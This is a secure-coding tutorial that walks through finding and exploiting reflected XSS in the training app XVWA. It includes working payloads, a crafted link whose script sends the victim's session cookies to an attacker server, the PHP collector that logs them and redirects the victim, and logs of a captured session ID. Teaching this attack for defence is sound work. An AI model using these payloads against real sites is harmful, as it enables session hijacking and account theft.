Secure coding

How to exploit XSS Vulnerabilities

Introduction:

In the previous article, we discussed what XSS vulnerabilities are and what causes XSS vulnerabilities. This article provides an overview of how XSS vulnerabilities can be identified and exploited. We will make use of Xtreme Vulnerable Web Application (XVWA) as our target application and understand how one can identify and exploit XSS vulnerabilities. 

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

Learn More

Finding XSS in web applications:

As mentioned in earlier, XSS occurs when the web application receives user input and embeds it into the client side code without properly validating it. In the next few sections, let us discuss how XSS vulnerabilities can be discovered and exploited.

Finding Cross Site Scripting:

Let us launch Xtreme Vulnerable Web Application (XVWA) and navigate to XSS - Reflected. We can also access this challenge directly using the following URL.

http://<ipaddress>/xvwa/vulnerabilities/reflected_xss/

 

The page looks as follows.

A user can enter a message in the text field and the entered text will appear back on the web page as shown in the following figure.

Web Applications with features like this can be vulnerable to Cross Site Scripting. Let us check if the application is vulnerable to XSS in this case.

A look at the page source shows that the user supplied input is inserted into the html source as highlighted below.

<div class="well">

    <div class="col-lg-6"> 

        <p>Enter your message here.  

            <form method='get' action=''>

                <div class="form-group"> 

                    <label></label>

                    <input class="form-control" width="50%" placeholder="Enter URL of Image" name="item"></input> <br>

                    <div align="right"> <button class="btn btn-default" type="submit">Submit Button</button></div>

               </div> 

            </form>

            test        </p>

    </div>

      

    <hr>

    

</div>

 

Now, instead of entering plain text, let us enter simple HTML code as shown below.

<h1>test</h1>

 

When the preceding input is inserted, the application executes it as HTML code and the response looks as follows.

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

Learn More

As we can notice, the user supplied input is treated as code and it is executed as part of the application. Let us once again verify the page source to check if the inserted code can be seen.

<div class="well">

    <div class="col-lg-6"> 

        <p>Enter your message here.  

            <form method='get' action=''>

                <div class="form-group"> 

                    <label></label>

                    <input class="form-control" width="50%" placeholder="Enter URL of Image" name="item"></input> <br>

                    <div align="right"> <button class="btn btn-default" type="submit">Submit Button</button></div>

               </div> 

            </form>

            <h1>test</h1>        </p>

    </div>

      

    <hr>

    

</div>

 

As we can notice, once again the user input is embedded into the application’s HTML source, which confirms that the application is vulnerable to HTML injection.

When testing for Cross Site Scripting vulnerabilities, we would ideally want to be able to execute JavaScript instead of plain HTML.

Let us enter the following payload as user input and observe how the application responds.

<script>alert(1);</script>

 

Following is the response.

As we can notice in the preceding figure, the script was executed and an alert box was popped up.

Following is the page source, which shows that the user supplied JavaScript has become part of the target web application.

<div class="well">

    <div class="col-lg-6"> 

        <p>Enter your message here.  

            <form method='get' action=''>

                <div class="form-group"> 

                    <label></label>

                    <input class="form-control" width="50%" placeholder="Enter URL of Image" name="item"></input> <br>

                    <div align="right"> <button class="btn btn-default" type="submit">Submit Button</button></div>

               </div> 

            </form>

            <script>alert(1);</script>        </p>

    </div>

      

    <hr>

    

</div>

 

Well, this confirms that the application is vulnerable to Cross Site Scripting.

Exploiting Cross Site Scripting:

When the JavaScript payload is inserted into the application, it is sent to the server as a GET parameter and following is the URL seen in the URL bar.

http://<ipaddress>/xvwa/vulnerabilities/reflected_xss/?item=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

 

Now, let us assume that Admin user is logged in to the vulnerable web application and let us observe how one can exploit this XSS vulnerability to steal session cookies of the logged in user remotely.

The following figure shows that the user Admin is logged in to the web application.

We can navigate to Web Developer | Storage Inspector to check the cookies of the currently logged in user. This looks as follows.

Now, as an attacker, we can craft the following link and send it to the Admin user who is logged into the vulnerable web application. The victim needs to be tricked to access the link in his browser may be using social engineering since this is a Reflected Cross Site Scripting attack. In a Stored XSS scenario, this may be achieved without social engineering. 

http://192.168.1.70/xvwa/vulnerabilities/reflected_xss/?item=%3Cscript%20type%3D%22text%2Fjavascript%22%3Edocument.location%3D%22http%3A%2F%2F192.168.1.110%2Fcookies.php%3Fcookie%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E

 

Let us dissect and understand what this URL does when opened by the victim user. Following is the decoded URL parameter sent in the GET request.

<script type="text/javascript">document.location="http://192.168.1.110/cookies.php?cookie="+document.cookie;</script>

 

This JavaScript payload is using document.location to redirect the user to http://192.168.1.110/cookies.php?cookie="+document.cookie

Clearly, this URL is sending the cookies read using document.cookie as a GET parameter to cookies.php file hosted on the attacker’s server.

Following is the code hosted on the attacker's server.

<?php

$cookies = $_GET["cookie"];

$file = fopen('cookies.txt', 'a');

fwrite($file, $cookies . "\n\n");

header('Location:http://192.168.1.70/xvwa/');

?>

 

As we can notice, the file is receiving the cookies in a GET request and storing them in a file called cookies.txt. It is then redirecting the user back to the vulnerable application to avoid any suspicion.

For demo purposes, we can simply run the following PHP command to host cookies.php file.

root@kali:~# php -S 0.0.0.0:80

PHP 7.3.15-3 Development Server started at Sun Oct 11 08:10:14 2020

Listening on http://0.0.0.0:80

Document root is /root

Press Ctrl-C to quit.

 

When the victim opens the URL sent by the attacker, the following page will be shown after the redirection happens.

But, the web server’s access logs show the cookies as follows.

root@kali:~# php -S 0.0.0.0:80

PHP 7.3.15-3 Development Server started at Sun Oct 11 08:10:14 2020

Listening on http://0.0.0.0:80

Document root is /root

Press Ctrl-C to quit.

[Sun Oct 11 08:12:27 2020] 192.168.1.92:51484 [302]: /cookies.php?cookie=PHPSESSID=8ejq692er23q5v6mqv62vmufd7

 

These cookies will also be saved in cookies.txt file on the attacker’s server as defined in the cookies.php file. This looks as follows.

root@kali:~# cat cookies.txt 

PHPSESSID=8ejq692er23q5v6mqv62vmufd7

root@kali:~# 

 

These cookies can now be used to access the victim’s session.

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

Learn More

Conclusion:

It is evident that XSS vulnerabilities can be very dangerous as they will allow an attacker to execute arbitrary JavaScript in the victim’s browser leading to various attacks such as session hijacking, keystroke logging, phishing etc. We have specifically discussed how Reflected Cross Site Scripting vulnerability can be exploited in combination with attacks like phishing or social engineering to steal user cookies. However, the attacker can use frameworks like b33f to perform more sophisticated browser based attacks. 

 

Sources:

1. https://owasp.org/www-community/attacks/xss/
2. https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting.html
3. https://owasp.org/www-project-top-ten/